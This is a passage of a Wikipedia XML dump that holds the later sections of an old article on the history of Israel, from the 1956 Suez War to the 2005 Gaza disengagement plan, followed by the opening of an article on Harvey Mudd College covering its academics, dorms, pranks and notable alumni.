The Israeli, French and United Kingdom forces were victorious, but were forced to withdraw in March 1957 by pressure from their ally the [[United States]], which did not approve of the [[Suez War]]. The [[United Nations]] established the [[UNEF|UN Emergency Force]] (UNEF) to keep peace in the area.

=== Six-Day War ===
:''Main article: [[Six-Day War]]''.
In June 1967, the united Arab military command massed troops along the borders, while Egypt closed the Straits of Tiran and Nasser insisted that the UNEF leave Egypt. The [[Six-Day War]] began when on [[June 5]] of that year, the Israeli air force launched preemptive attacks destroying the air force of Egypt, later the same day neutralising the air forces of Jordan and Syria. Israel then defeated (almost successively) Egypt, Jordan and Syria.  By [[June 11]] the Arab forces were routed and all parties had accepted the cease-fire called for by UN Security Council Resolutions 235 and 236.

Israel gained control of the Sinai Peninsula, the Gaza Strip, the [[Golan Heights]], and the formerly Jordanian-controlled West Bank of the [[Jordan River]], including East Jerusalem as 'Greater Israel'. On [[November 22]], [[1967]], the Security Council adopted Resolution 242, the &quot;land for peace&quot; formula, which called for the establishment of a just and lasting peace based on Israeli withdrawal from territories occupied in 1967 in return for the end of all states of belligerency, respect for the sovereignty of all states in the area, and the right to live in peace within secure, recognized boundaries.

In the 1969-1970 war of attrition, Israeli planes made deep strikes into Egypt in retaliation for repeated Egyptian shelling of Israeli positions along the Suez Canal. In early 1969, fighting broke out between Egypt and Israel along the Suez Canal. The United States helped end these hostilities in August 1970, but subsequent U.S. efforts to negotiate an interim agreement to open the Suez Canal and achieve disengagement of forces were unsuccessful.

=== The Yom Kippur War ===
:''Main article: [[Yom Kippur War]]''.

The [[Yom Kippur War]] began when on [[October 6]], [[1973]] (the [[Jew]]ish [[Yom Kippur|Day of Atonement]]) the Syrian and Egyptian armies launched a simultaneous attack on Greater Israel and inflicted a heavy defeat on the surprised Israeli Defence Force (IDF). After a three week struggle the invaders were pushed back, the land recaptured and a UN peacekeeping force put in place. 

As the result of the shock sustained by Israeli society in the aftermath of the war, the Israeli government started negotiations for security on its borders. On [[January 18]], [[1974]], a [[Disengagement of Forces]] agreement was signed with the Egyptian government, and on [[May 31]], with the Syrian government. On the international scene, the Arab world retaliated by imposing an [[1973 oil crisis|oil embargo]] on countries trading with Israel. The government of [[Japan]] announced on [[November 22]], [[1973]] that it would reconsider its relations with the Israeli government unless it withdrew from all territories occupied in 1967.

=== The &quot;Zionism is Racism&quot; UN Resolution ===
On November 10th, 1975, the United Nations General Assembly adopted a resolution which asserted [[Zionism]] to be a form of racism. The text of the resolution can be found in [http://domino.un.org/UNISPAL.NSF/0/761c1063530766a7052566a2005b74d1?OpenDocument Resolution 3379 of November, 1975].

The General Assembly rescinded this resolution in [http://www.un.org/documents/ga/res/46/a46r086.htm Resolution 46/86 of December 16, 1991].

(''See also [[Zionism and racism]], [[Israel and the United Nations]].'')

=== Egyptian-Israeli Peace Process ===
In November 1977, Egyptian President [[Anwar Sadat]] broke 30 years of hostility with Israel by visiting Jerusalem at the invitation of Israeli Prime Minister [[Menachem Begin]], who was elected as the prime minister earlier that year in the [[Israel legislative election, 1977|1977 election]], in what is known as the ''Mahapakh''. During a 2-day visit, which included a speech before the [[Knesset]], the Egyptian leader created a new psychological climate in the Middle East in which peace between Israel and its Arab neighbors seemed a realistic possibility. Sadat recognized Israel's right to exist and established the basis for direct negotiations between Egypt and Israel.

In September 1978, U.S. President [[Jimmy Carter]] invited President Sadat and Prime Minister Begin to meet with him at [[Camp David]], and on [[September 11]] they agreed on a framework for peace between Israel and Egypt and a comprehensive peace in the Middle East. It set out broad principles to guide negotiations between Israel and the Arab states. It also established guidelines for a West Bank-Gaza transitional regime of full autonomy for the Palestinians residing in the occupied territories and for a [[Israel-Egypt Peace Treaty|peace treaty between Egypt and Israel]]. The treaty was signed on [[March 26]], [[1979]], by Begin and Sadat, with President Carter signing as witness. Under the treaty, Israel returned the Sinai to Egypt in April 1982. In 1989, the Governments of Israel and Egypt concluded an agreement that resolved the status of [[Taba]], a resort area on the Gulf of Aqaba.

Further information from pro-Israel sources: [http://www.jajz-ed.org.il/100/concepts/d4.html],
[http://www.us-israel.org/jsource/Peace/camp_david_accords.html]

The [[Arab League]] reacted to the peace treaty by suspending Egypt from their organisation and moving their headquarters from Cairo to Tunis. Sadat was later assassinated by members of the Egyptian army which had opposed his efforts to make peace with Israel.

=== Lebanon ===
In the years following the 1948 war, Israel's border with Lebanon was quiet compared to its borders with other neighbors. After the expulsion of the Palestinian fedayeen (fighters) from Jordan in 1970 and their influx into southern Lebanon, however, hostilities on Israel's northern border increased. In March 1978, after a series of clashes between Israeli forces and Palestinian guerrillas in Lebanon, Israeli forces crossed into Lebanon commencing [[Operation Litani]]. After passage of Security Council Resolution 425, calling for Israeli withdrawal and the creation of the [[UNIFIL|United Nations Interim Forces in Lebanon]] peace-keeping force (UNIFIL), Israel withdrew its troops.

In July 1981, after additional fighting between Israel and the Palestinians in Lebanon, President [[Ronald Reagan]]'s special envoy, [[Philip Habib|Philip C. Habib]], helped secure a cease-fire between the parties. During this time the [[Palestine Liberation Organization]] (PLO) launched attacks against northern Israel using rockets and artillery. The PLO simultaneously engaged Lebanese [[Christianity|Christian]] forces.

In June 1982, Israel responded by invading the southern half of Lebanon during the [[1982 Invasion of Lebanon]] to drive out the [[PLO]], initially from Southern Lebanon and then altogether. While a few Lebanese did at first welcome the Israelis, almost all Lebanese came to resent Israeli occupation. Heavy Israeli casualties and a lack of clear goals led to increasing disquiet among Israelis at the war as well. 

In August 1982, the PLO withdrew its forces from Lebanon.  With U.S. assistance, Israel and Lebanon reached [[The Peace Treaty between Israel and Lebanon|an accord]] in May 1983 that set the stage to withdraw Israeli forces from Lebanon. The instruments of ratification were never exchanged, however, and in March 1984, under pressure from Syria, Lebanon canceled the agreement. In June 1985, Israel withdrew most of its troops from Lebanon, leaving a small residual Israeli force and an Israeli-supported militia in southern Lebanon in a &quot;security zone,&quot; which Israel considered a necessary buffer against attacks on its northern territory. Israel finally withdrew from this zone in 2000, during the Prime Ministership of [[Ehud Barak]], fulfilling [[UN Security Council Resolution 425]]. Lebanon has since claimed a small area of the Golan Heights called &quot;[[Shebaa Farms]]&quot; which Israel captured from Syria in 1967.

Further information from pro-Israel sources: [http://www.us-israel.org/jsource/History/Lebanon_War.html], [http://www.us-israel.org/jsource/History/Syria%27s_role_in_Leb.html]

=== First Intifada ===
:''Main article: [[First Intifada]]''.

In response to the continuing Israeli occupation of the West Bank and Gaza, Palestinians began the first [[Intifada]] (uprising) in 1987. Israel responded with strong military and police resistance, but failed to end the fighting. The first intifada continued until 1991.

=== Gulf War ===
:''Main article: [[Gulf War]]''

In 1990, Iraq invaded [[Kuwait]], triggering the [[Gulf War]] between Iraq and a large allied force, led by the [[United States]]. Iraq, seeking to inflame Arab public opinion and draw Arab states out of the alliance (and possibly to Iraq's side), attacked Israel with 39 [[Scud missile]]s. Under pressure from the United States, Israel did not retaliate. Instead, it accepted U.S. assistance in deflecting the attacks. One man in the [[Ramat Khen]] neighborhood in [[Ramat Gan]] was killed by a [[MIM-104 Patriot]] anti-missile missile which went astray. Between 7 and 13 people died from asphyxiation due to gas mask misuse.  Statistical analysis suggests that 30-80 excess deaths occurred, mostly from heart attacks due most likely to &quot;emotional stress and breathing difficulties&quot; (''Journal of the American Medical Association'', Volume 273(15), 19 Apr 1995, pp 1208-1210).

=== Immigration from the former Soviet Union ===
In 1990, the [[Soviet Union]] permitted Soviet Jews to emigrate from the Soviet Union to Israel. Prior to this the Soviet government had prohibited those members of its Jewish population (approximately three million) who wished to emigrate from doing so. Several hundred thousand chose to leave once the restrictions were eased. There has been some doubt expressed as to how many of these emigrants were Jewish according to Jewish law.  Traditional Jews expressed these concerns due to issues of Jewish unity.

Additional concerns centred on the ability of these immigrants to adapt to Israeli culture and find suitable employment. [http://www.jajz-ed.org.il/100/concepts/aliyah6.html]

=== Middle East peace process ===
:''Main article: [[Peace process in the Israeli-Palestinian conflict]]''.

The coalition's victory in the Gulf war opened new possibilities for regional peace, and in October 1991 the Presidents of the United States and the Soviet Union jointly convened an historic meeting in [[Madrid]] of Israeli, Lebanese, Jordanian, Syrian, and Palestinian leaders. This meeting became the foundation for ongoing bilateral and multilateral negotiations designed to bring lasting peace and economic development to the region.

On [[September 13]], [[1993]], Israel and the PLO signed a Declaration of Principles (DOP) [http://www.us-israel.org/jsource/Peace/dop.html (text of DOP]) on the South Lawn of the [[White House]]. The declaration was a major conceptual breakthrough achieved under the Madrid framework. It established an ambitious set of objectives relating to a transfer of authority from Israel to an interim Palestinian authority. The DOP established May 1999 as the date by which a permanent status agreement for the West Bank and Gaza Strip would take effect. Israel and the PLO subsequently signed the [[Gaza-Jericho Agreement]] on [[May 4]], [[1994]], and the [[Agreement on Preparatory Transfer of Powers and Responsibilities]] on [[August 29]], 1994, which began the process of transferring authority from Israel to the Palestinians.    

Further information from pro-Israel sources: [http://www.jajz-ed.org.il/100/maps/oslo.html], 

Tensions with [[Jordan]] were lessened on [[July 25]], 1994 when the two nations signed the [[Washington Declaration]] which formally ended the [[state of war]] that had existed between them since 1948. On [[October 26]], 1994, [[Israel-Jordan Treaty of Peace|Israel and Jordan signed a historic peace treaty]] at a border post between the two countries, witnessed by US President [[Bill Clinton]], accompanied by US Secretary of State [[Warren Christopher]]. Israel ceded a small amount of contested land to Jordan, and the countries opened official diplomatic relations, with open borders and free trade. [http://www.mfa.gov.il/MFA/Peace%20Process/Guide%20to%20the%20Peace%20Process/Main%20Points%20of%20Israel-Jordan%20Peace%20Treaty Govt Israel], [http://www.kinghussein.gov.jo/peacetreaty.html Govt Jordan]

Prime Minister [[Yitzhak Rabin]] and PLO Chairman [[Yasser Arafat]] signed the historic Israeli-Palestinian Interim Agreement on the West Bank and the Gaza Strip on [[September 28]], [[1995]], in [[Washington, D.C.]]. The agreement, witnessed by President Bill Clinton on behalf of the United States and by [[Russia]], Egypt, [[Norway]], and the [[European Union]], incorporates and supersedes the previous agreements and marked the conclusion of the first stage of negotiations between Israel and the PLO.

The accord broadens Palestinian self-government by means of a popularly elected legislative council. It provides for election and establishment of that body, transfer of civil authority, Israeli redeployment from major population centers in the West Bank, security arrangements, and cooperation in a variety of areas. Negotiations on permanent status began on [[May 5]], [[1996]] in Taba, Egypt. As agreed in the 1993 DOP, those talks will address the status of Jerusalem, Palestinian refugees, Israeli settlements in the West Bank and Gaza Strip, final security arrangements, borders, relations and cooperation with neighboring states, and other issues of common interest.

=== Assassination of Rabin ===
The [[Assassination of Yitzhak Rabin|assassination of Prime Minister Rabin]] by a right-wing Jewish radical on [[November 4]], 1995 climaxed an increasingly bitter national debate over where the peace process was leading. Rabin's death left Israel profoundly shaken, ushered in a period of national self-examination, and produced a new level of national consensus favoring the peace process.

=== Election of Netanyahu ===
In February 1996 Rabin's successor, [[Shimon Peres]], called early elections. [[Israel legislative election, 1996|Those elections]] were held in May 1996 and were the first featuring direct election of the prime minister, resulted in a narrow election victory for [[Likud Party]] leader [[Binyamin Netanyahu|Binyamin (Bibi) Netanyahu]] and his center-right National Coalition and the defeat of Peres and his left-of-center Labor/Meretz government.

Despite his stated differences with the [[Oslo Accords]], Prime Minister Netanyahu claimed to continue their implementation, but his Prime Ministership saw a marked slow-down in the Peace Process. (Netanyahu supporters argue that this slow-down was in response to Palestinian terrorism.)

=== Hebron and Wye River agreements ===
Minister Netanyahu signed the [[Hebron Protocol]] with the [[Palestinian Authority]] on [[January 15]], [[1997]]. The Protocol resulted in the redeployment of Israeli forces in [[Hebron]] and the turnover of civilian authority in much of the area to the [[Palestinian Authority]]. Since that agreement, there has been little progress in the Israeli-Palestinian negotiations. A crisis of confidence developed between the parties as the parties had difficulty responding to each other and addressing each other's concerns. Israel and the Palestinians did agree, however, in September 1997, to a four-part agenda to guide further negotiations: security cooperation in the fight against terror; further redeployments of Israeli forces; a &quot;time-out&quot; on unilateral actions that may prejudge the outcome of the permanent status talks; and acceleration of these talks. The U.S. sought to marry continued implementation of the 1995 Interim Agreement with the start of the accelerated permanent status talks. In order to overcome the crisis of confidence and break the negotiating impasse, President Clinton presented U.S. ideas for getting the peace process back on track to Prime Minister Netanyahu and Chairman Arafat in Washington in January 1998. Those ideas included all aspects of the September 1997 four-part agenda and would allow for the start of accelerated permanent status negotiations. The Palestinians agreed in principle to the U.S. ideas.

The U.S. continued working intensively with the parties to reach agreement on the basis of U.S. ideas. After a 9-day session at the [[Wye River Conference Center]] in [[Maryland]], agreement was reached on [[October 23]], [[1998]]. The [[Wye Agreement]] is based on the principle of reciprocity and meets the essential requirements of both the parties, including unprecedented security measures on the part of the Palestinians and the further redeployment of Israeli troops in the West Bank. The agreement also permits the launching of the permanent status negotiations as the [[May 4]], 1999 expiration of the period of the Interim Agreement.

=== Visit of the Pope===
On [[March 21]] [[2000]] [[Pope]] [[Pope John Paul II|John Paul II]] arrived in Israel for a historic visit [http://www.us-israel.org/jsource/anti-semitism/jp.html].

===Withdrawal from Lebanon===
In 2000, Israel unilaterally withdrew its remaining forces from the &quot;security zone&quot; in southern Lebanon. Lebanon claims that Israel continues to occupy Lebanese territory called &quot;Sheeba Farms&quot;; but the UN insists that Sheeba Farms is Syrian, not Lebanese, territory. Further information from pro-Israel source:
[http://www.us-israel.org/Peace/lebwith.html]

===Second Intifada===
Israeli opposition leader [[Ariel Sharon]] visited the [[Temple Mount]] on [[September 28]], 2000, sparking Palestinian riots. This marked the beginning of the [[al-Aqsa Intifada]]. Israel claims that the Palestinians had been planning violence far in advance of Sharon's visit, and that his visit was used as an excuse for the planned violence to be launched. In his book ''The High Cost of Peace'', [[Yossef Bodansky]] describes the event: &quot;When Sharon expressed interest in visiting the [[Temple Mount]], Barak ordered [[GSS]] chief [[Ami Ayalon]] to approach [[Jibril Rajoub]] with a special request to facilitate a smooth and friendly visit... Rajoub promised it would be smooth as long as Sharon would refrain from entering any of the mosques or praying publicly... Just to be on the safe side, Barak personally approached [[Arafat]] and once again got assurances that Sharon's visit would be smooth...&quot; (p354)

In October 2000, Palestinians destroyed a Jewish shrine in [[Nablus]], Joseph's Tomb. They also stoned worshippers at the Western Wall and attacked another Jewish shrine, Rachel's Tomb. Further information from pro-Israel source:
[http://www.us-israel.org/jsource/myths/mf19a.html]

===Special elections and negotiations by Barak===
With the Peace Process increasingly in dissaray, Israeli Prime Minister Ehud Barak called a special election for Prime Minister. Barak was hoping that a victory for him would give him renewed authority in negotiations with the Palestinians. But Barak's hopes were not to be, and in 2001, opposition leader Ariel Sharon was elected as Prime Minister of Israel in the [[2001 special election to the prime ministership]]. Further information from pro-Israel source:
[http://www.us-israel.org/jsource/biography/sharon.html] A map of Barak's proposal at the Camp David Talks in October 2000 may be found here: 
[http://www.pmwatch.org/pmw/maps/finalstatus/2000campdavid.jpg]

===Israeli West Bank barrier===
In recent years, much of the Israeli public and political leadership has lost confidence with the [[Palestinian Authority]] as a peace partner, claiming that many Palestinians view the peace treaty with Israel as a temporary measure only. By the same token, some groups in the Israeli left have asserted that Israel has never abided by the terms of any proposal it has agreed with the Palestinians: [http://www.gush-shalom.org/archives/oslo.html] and has attempted to discredit all genuine peace proposals, regardless of their origin: [http://www.gush-shalom.org/archives/article184.html]

[[Image:BarrierMay2005.png|thumb|250px|The approved barrier route as of May 2005]]

===Disengagement from Gaza===
On [[December 18]], [[2003]], Prime Minister [[Ariel Sharon]] announced he will consider a unilateral withdrawal from parts of the territories in order to make it easier for long term management of the ongoing intifada. This was crystallized as a plan for total withdrawal from the Gaza Strip, while maintaining most of the settlements in the West Bank. The US government announced its support for the plan on [[April 14]], [[2004]]. The first phase of the plan regarding the work of technical committees to work out logistical details was approved by the Israeli cabinet on [[June 6]], [[2004]].

On [[October 26]], [[2004]], Sharon's withdrawal plan was ratified by the Israeli parliament. It had been previously defeated in a vote among Sharon's own Likud party and was won in parliament only with the help of the opposition Labour Party's votes. Several more votes will be held on the plans over the course of the next year before the plan can be carried out.

On [[April 12]], [[2005]], Sharon traveled to President Bush's ranch in Crawford, Texas, USA. Protestors against the Disengagement Plan burned tires in Tel Aviv. A day earlier there had been a fury at the Temple Mount, Judaism's holiest site, where clashes between ultra-Nationalist Israelis and Arabs on the Mount led to the intervention of over 3,000 police.

== Foreign relations of the State of Israel ==
:''Main article: [[Foreign relations of Israel]]''.

Ever since the establishment of Israel in 1948, the state faced problems in its foreign policy. In 1948, Israel was in diplomatic isolation resulting from being boycotted by its Middle Eastern neighbours. As an alternative, the Israeli government began developing ties with distant countries. The Israeli government sought to establish good relations especially with the U.S. government, and the newly independent states in [[Africa]] and [[Asia]]. On [[January 9]], [[1950]], the Israeli government extended recognition to the [[People's Republic of China]], but diplomatic relations were not established until 1992. On [[May 15]], [[1952]], diplomatic relations were established with the government of [[Japan]].

==Arab-Israeli peace diplomacy and treaties==
*[[Paris Peace Conference, 1919]]
*[[Faisal-Weizmann Agreement|Faisal-Weizmann Agreement (1919)]]
*[[1949 Armistice Agreements]]
*[[Camp David Accords (1978)]]
*[[Israel-Egypt Peace Treaty|Israel-Egypt Peace Treaty (1979)]]
*[[Madrid Conference of 1991]]
*[[Oslo Accords|Oslo Accords (1993)]]
*[[Israel-Jordan Treaty of Peace|Israel-Jordan Treaty of Peace (1994)]]
*[[Camp David 2000 Summit]]
*[[Peace process in the Israeli-Palestinian conflict]]
*[[Projects working for peace among Israelis and Arabs]]
*[[List of Middle East peace proposals]]
*[[International law and the Arab-Israeli conflict]]

==See also==
{{commonscat|Israeli history}}
*[[History of Levant]]
*[[Israel]]
*[[Palestine (region)|Palestine]]
*[[Estimates of the Palestinian Refugee flight of 1948]]

==External links==
* [http://www.mideastweb.org/briefhistory.htm History of Israel and Palestine and the Arab-Israeli Conflict]
* [http://www.mideastweb.org/timeline.htm Timeline of Israeli and Palestinian History from Earliest Times]
* [http://www.mideastweb.org/misrael.htm Extensive political historical and detailed maps of Israel and Palestine]
* [http://www.zionism-israel.com/zionism_history.htm A history of Zionism and the creation of Israel]
* [http://www.zionism-israel.com/photos.htm A photo gallery of the history of Zionism and the creation of Israel]
* [http://www.eretzyisroel.org/~dhershkowitz/ First Photos of the Holy Land]
* [http://www.zionism-israel.com/zionism_timeline.htm A timeline of Zionism and Israeli history] 
* [http://www.mideastweb.org/labor_zionism.htm Labor Zionism and Socialist Zionism]
* [http://www.zionism-israel.com/zionism_documents.htm Zionism: Historical Source Documents and texts]
* [http://www.jsource.org/jsource/zion.html &quot;Zionism&quot; &amp;mdash; from the Jewish Virtual Library]
* [http://www.mfa.gov.il/mfa/go.asp?MFAH00un0 &quot;Centenary of Zionism&quot; from the Israeli Ministry of Foreign Affairs]
* [http://www.jafi.org.il/education/index.html The Jewish Agency for Israel &amp;mdash; The Department for Zionist Education]
* [http://domino.un.org/unispal.nsf The UNISPAL web site] contains the full texts of hundreds of official documents, including those of the League of Nations and the United Nations, the British government, the Israeli government, the Palestinian authority, and many others.
* [http://eh.net/encyclopedia/article/halevi.israel Economic History of Israel] from EH.NET's Encyclopedia


[[Category:History of Israel|*]]
[[Category:History of the Levant]]
[[Category:History of the Middle East]]
[[Category:Israel and Zionism]]

[[de:Geschichte Israels]]
[[fr:Histoire d'Israël]]
[[he:היסטוריה של מדינת ישראל]]
[[it:Storia di Israele]]
[[lt:Izraelio istorija]]
[[nl:Geschiedenis van Israël]]
[[pt:História de Israel]]
[[ru:История Израиля]]
[[sv:Israels historia]]
[[zh:以色列历史]]</text>
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  <page>
    <title>Harvey Mudd College</title>
    <id>13810</id>
    <revision>
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        <username>Bovineone</username>
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      <minor />
      <comment>/* Notable alumni */ fix cadence link</comment>
      <text xml:space="preserve">{{Infobox University2 |
  name           = Harvey Mudd College |
  image          = [[Image:Hmc_seal.png|150px|HMC Seal]] |
  motto          = ''none'' |
  established    = [[1955]] |
  type           = [[Private school|Private]] |
  head           = [[Jon Strauss]] |
  city           = [[Claremont, California|Claremont]] |
  state          = [[California|CA]] |
  country        = [[United States|USA]] |
  undergrad      = 707 |
  postgrad = 0 |
postgrad_label = graduate |
  faculty        = 83 |
 faculty_label = ratio |
  campus         = [[Suburban]], 38 acres (0.15&amp;nbsp;km&amp;sup2;) |
  free_label     = Endowment |
  free           = US$180 million |
  mascot         = Wally the Wart (unofficial) [http://www.hmc.edu/admin/admission/wally.html] |
  homepage       = [http://www.hmc.edu/ www.hmc.edu]
}}
'''Harvey Mudd College''' is a highly selective, private college of science, engineering, and mathematics, located in [[Claremont, California]]. It is one of the institutions of the [[Claremont Colleges]]. The school is informally known as '''Harvey Mudd''' as well as just '''Mudd'''. Students at Mudd are known as Mudders.

The college is named after [[Harvey Seeley Mudd]], one of the initial investors in the [[Cyprus Mines Corporation]]. Although involved in the planning of the new institution, Mudd died before it opened. Harvey Mudd College was funded by Mudd's friends and family, and named in his honor.

Harvey Mudd College is contiguous to the other [[Claremont Colleges]], and students at these colleges may take classes at any of them, though classes in the student's major are normally taken at their own college.
[[Image:Harveymuddentrance.jpg|thumb|250px|Entrance at Mills Avenue]]

==Academics==
Harvey Mudd College's mission is to educate scientists, engineers, and mathematicians well-versed in the [[social sciences]] and [[humanities]] so that they better understand the impact of their work on society. The college offers four-year degrees in [[chemistry]], [[mathematics]], [[physics]], [[computer science]], [[biology]], and [[engineering]], as well as interdisciplinary degrees in [[mathematical biology]], and a joint major in either computer science and mathematics, or biology and chemistry. Students may also elect to complete an Independent Program of Study (IPS) made up of courses of their own choosing. Usually between two and five students graduate with an IPS degree each year. Finally, students may choose an off-campus major offered by any of the other [[Claremont Colleges]], provided they also complete a minor in one of the technical fields that Mudd offers majors.

Because of its [[mission statement]], Harvey Mudd places an unusually strong emphasis on general science education outside one's major, with a full one-third of courses in this area, known as the &quot;common core.&quot; Students are required to take another one-third of their courses in the humanities, keeping with the school's tradition of science with a conscience. The final one-third is composed of courses in the student's major. The integration of research and education is an important component of the educational experience at Harvey Mudd; by the time they graduate, every student has had some kind of research experience, in the form of a senior thesis or a Clinic Program experience. The undergraduate focus of HMC means that, unlike many other science and engineering institutions, undergraduates at HMC get unique access to research positions over the summer and during the school year.

A unique aspect of an HMC education is the Clinic Program, in which teams of students work for a year on a project supplied by a company, make regular reports to the company, and, at the end of the year, deliver a product. There are Clinic projects in engineering, computer science, mathematics, physics, and other majors. This kind of real-world experience gives students a first-hand look at a particular industry, and gives the company an inexpensive team of four students, many of whom they recruit after graduation.

===Reputation===
The college is one of the most selective in the nation; the median entering SAT score is about 770 (out of 800) in mathematics, and 1470 (out of 1600) overall [http://www.hmc.edu/admin/admission/numbers.html]. A third of the student body are [[National Merit Scholar]]s, and about 40 percent of graduates go on earn a [[Ph.D.]]—the highest rate of any college or university in the nation [http://www.amatecon.com/etext/cac/cac-ch03.html][http://www.math.hmc.edu/program/dept-intro.html].

==Student life==
===Harvey Mudd College dormitories===
The official names for the dormitories are Mildred E. Mudd Hall (&quot;East&quot;), West Hall (&quot;West&quot;), North Hall (&quot;North&quot;), Marks Residence Hall (&quot;South&quot;), J. L. Atwood Residence Hall (&quot;Atwood&quot;), Case Residence Hall (&quot;Case&quot;),  Ronald and Maxine Linde Residence Hall (&quot;Linde&quot;), and Frederick and Susan Sontag Residence Hall (&quot;Sontag&quot;). Atwood and Case were occasionally referred to as New Dorm and New Dorm II up until the addition of Linde and Sontag; Mildred E. Mudd Hall and Marks Hall are almost invariably referred to as East and South.

When Case was being built some students decided as a [[prank]] to move all of the survey stakes exactly six inches to the north. They did such a precise job that the construction crew didn't notice until after they had laid the foundation, but California earthquake law forced them to reinspect the new location at some significant expense. Furthermore, the plumbing has never worked quite right. Case is also very occasionally known as Seventh dorm (despite being the sixth dorm built) or as the Pink Dorm due to the fact that the cinder blocks used in its construction are rather shrimp-colored.

It is notable that South Dorm is in the northwest corner of the quad. &quot;East&quot; was the first dorm, but it wasn't until West was built to the west of it that it was actually referred to as East. Then North was built, north of East. When the fourth dorm (Marks) was built, there was one corner of the quad available (the northwest) and one directional name (South) left. It got both, and to this day South is more 'north' on the compass than North dorm is.

The fifth, sixth, seventh, and eighth dorms are Atwood, Case, Linde, and Sontag, respectively. They were collectively referred to as &quot;the Colonies&quot; by some students, a reference to the fact that they are newer and are at the far end of the campus, a full two blocks away from the academic buildings; these dorms are now more commonly referred to as &quot;the Outer Dorms.&quot; The college purchased an apartment building adjacent to the newer dorms to house additional students, but it was demolished to make room for the newest dorm, Sontag.

Due to the fact that students from all four classes can live in each of the dormitories, several of the dorms have accumulated long-standing traditions and even 'personalities.' Two examples of these traditions are the parties Long Tall Glasses (a formal affair thrown by North) and TQ Nite (a tequila-centered party thrown by West). However, the personalities of the dorms morph over time as Mudd alumni are apt to find out upon visiting their [[alma mater]] years after they've graduated.

===Athletics===
Athletics teams from [[Claremont McKenna College]], Harvey Mudd College, and [[Scripps College]] compete as one team. Male athletic teams are called the Stags, and women's teams are called the Athenas. The teams participate in the [[NCAA]]'s Division III and in the [[Southern California Intercollegiate Athletic Conference]].

==Architecture==
The original buildings of campus were designed by [[Edward Durell Stone]]. Most are covered with thousands of square [[concrete]] features, called &quot;warts&quot; by the students, which would be perfectly suited to [[buildering]] except that, while some are set into the wall, others are simply glued  on. In addition, these warts have the unusual usefulness of being great 'shelves' for unicycles and skateboards. One can walk towards Galileo Hall and see the warts (especially those on the inside of the buildings) being used to stack unicycles and skateboards. Interestingly enough, the unofficial mascot of Harvey Mudd (featured on many college handbooks and other publications) is one of these concrete blocks with a smile, arms, and legs, named &quot;Wally the Wart.&quot; 

Most of the computer labs and many classrooms are located in the basements (called the Libra Complex) of the concrete-block buildings.

==Transportation on campus==
In the early [[1970s]] the first [[unicycle]]s appeared on campus. By 1972 there were four of them. The notion caught on, and for a time there were dozens on campus. For many students it was a &quot;rite of passage&quot; to learn to ride. The unicycling club, known as Gonzo Unicycle Madness, was formed and to this day organizes an annual eight mile plus ride (each way) known as &quot;The Foster's Run,&quot; to &quot;The Donut Man&quot; donut shop in [[Glendora, California|Glendora]] (originally known as &quot;Foster's Donuts&quot; hence the name of the event) for strawberry donuts. Upon return to the campus, the ritual of the &quot;shakedown&quot; takes place (dismounting and then repeatedly jumping up and down in the dormitory courtyard); a necessary procedure after a unicycle ride of nearly twenty miles, especially for those riders of the masculine gender. At irregular intervals club members also meet to play [[unicycle hockey]]. In the early [[1990s]] though the ridership of unicycles waned at the college. Currently there is a very small number of Mudders who continue to ride unicycles. However, despite this drop in popularity, unicycling continues to be an integral part of the Mudd mythos.

Other than walking, the leading form of transportation among Mudders is skateboarding. Because the paths of Mudd are smooth and the route to the academic building on one side of campus from the dorms is so straightforward, skateboarding to class is very popular&amp;mdash;and Mudders as a whole skate more than the students of any of the nearby Claremont Colleges.

==Rivalry with Caltech==
There is a long-standing rivalry between Harvey Mudd and the nearby [[California Institute of Technology|Caltech]]; except this rivalry is basically unacknowledged by Caltech.  For example, in one prank, students from Mudd [http://people.bu.edu/fmri/somers/cannon.html stole a memorial cannon from Fleming House at Caltech] (originally from the [[United States National Guard|National Guard]]) by dressing as maintenance people and carting it off on a flatbed truck for &quot;cleaning;&quot; Though thought a coup by the Mudd students, most Caltech students were in fact happy to see the cannon gone, as Fleming House is considered unpopular and obnoxious by most of the campus.  Fleming students got it back by having their school President threaten legal action. In another prank, Mudd students made a slight modification to a freeway sign that read as follows:

&lt;center&gt;''California Institute of Technology ''

''Pasadena City College''

''Next Exit''  &lt;/center&gt;

Their prank was quite subtle; they put parentheses around &quot;[[Pasadena City College]],&quot; so it read:

&lt;center&gt;''California Institute of Technology''

''(Pasadena City College)''

''Next Exit''&lt;/center&gt;

The modified sign therefore implied that Caltech was in fact the same as Pasadena City College, a much less prestigious institution.

==Pranks==
Pranks at Harvey Mudd are known for being clever, amusing, technically precise, and reversible (by policy, pranksters must leave contact information, and reverse the prank within 24 hours if told to do so). 

* One student returned from a long weekend away to discover his room filled from floor to ceiling with inflated plastic garbage bags. The pranksters had used high-powered fans to inflate them. 
* Once the Dean of Faculty discovered that some Mudders had moved everything in his office to the other side of campus placing it on the grass in front of the newly opened Linde Dorm. Everything in his office was perfectly organized and functional &amp;mdash; even his telephone and Internet connection worked. It was a pleasant day, so he spent the day outside. (This prank was also featured in the film [[Toy Soldiers (1991)|Toy Soldiers]].)
* Another prank involved removing everything from a student's room, lining the walls with plastic, filling it two feet deep with water, and adding about 200 goldfish.
*In the opening of the fall semester in 2002, Harvey Mudd Seniors removed all of the furniture from all of the Freshmen's rooms, and proceeded to set up a giant chess board on the campus grounds.

==The HMC honor code==
HMC students developed, live by and self-enforce an [[honor code|Honor Code]]. The Honor Code states:

:''&quot;Each member of ASHMC [Associated Students of Harvey Mudd College] is responsible for maintaining his or her integrity and the integrity of the college community in all academic matters and in all affairs concerning the community.&quot;''

The Honor Code is so well followed that the college entrusts the students to 24-hour per day access to all buildings including labs and timed take-home closed-book exams. (See external links below for more information.)

==Notable alumni==
&lt;!-- most entries on this list come from http://www.hmc.edu/highlights/ --&gt;
* [[Gael Squibb]], 1961, former director of [[NASA]]/[[Jet Propulsion Laboratory|JPL's]] Telecommunications and Mission Operations Directorate, and veteran leader of numerous unmanned NASA missions.
* [[Michael G. Wilson]], 1963, producer of the [[James Bond]] series of films.
* [[Rick Sontag]], 1964, founder and former owner of [[Unison Industries]], a leading manufacturer of airplane parts.
* [[Don Chamberlin]], 1966, co-inventor of [[SQL]] (database query language) and [[International Business Machines|IBM]] representative to the [[working group]] developing the [[XML]] [[XML query language|query language]].
* [[Robert Kelley]], 1967, Nuclear physicist and one of 2,200 members of the Secretariat of the [[International Atomic Energy Agency]], which was recognized with the [[Nobel Peace Prize]] in October 2005.
* [[Donald Murphy]], 1968, head of the Applied Materials Research Department at [[Bell Laboratories]], [[Lucent Technologies]], and was elected to the [[National Academy of Engineering]] for his research on a variety of electronic materials.
* [[Walt Foley]], 1969, founder of [[Accel Technologies, Inc]].
